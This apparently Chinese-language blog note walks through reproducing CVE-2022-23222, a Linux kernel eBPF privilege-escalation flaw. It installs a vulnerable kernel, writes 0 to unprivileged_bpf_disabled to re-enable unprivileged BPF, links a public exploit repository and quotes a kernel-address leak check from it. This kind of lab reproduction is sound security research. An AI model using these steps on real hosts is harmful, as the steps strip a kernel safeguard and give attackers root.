Linux内核eBPF权限提升漏洞复现(CVE-2022-23222)

影响版本:Linux kernel 5.8 - 5.16不受影响版本:Linux kernel 5.10.92, 5.15.15, 5.16.1

sudo apt install linux-image-5.13.0-21-generic

tail /proc/sys/kernel/unprivileged_bpf_disabledecho 0 >/proc/sys/kernel/unprivileged_bpf_disabled

值为0表示允许非特权用户调用bpf值为1表示禁止非特权用户调用bpf且该值不可再修改，只能重启后修改值为2表示禁止非特权用户调用bpf，可以再次修改为0或1

git clone https://gitclone.com/github.com/tr3ee/CVE-2022-23222.git  #使用gitclone.com可以下载加速

    u64 array_map = (u64)ctx->ptrs[20] & (~0xFFL);    if ((array_map&0xFFFFF00000000000) != 0xFFFF800000000000) {        WARNF("Could not leak array map: got %p", (kaddr_t)array_map);        goto abort;    }

https://github.com/tr3ee/CVE-2022-23222https://tr3e.ee/posts/cve-2022-23222-linux-kernel-ebpf-lpe.txt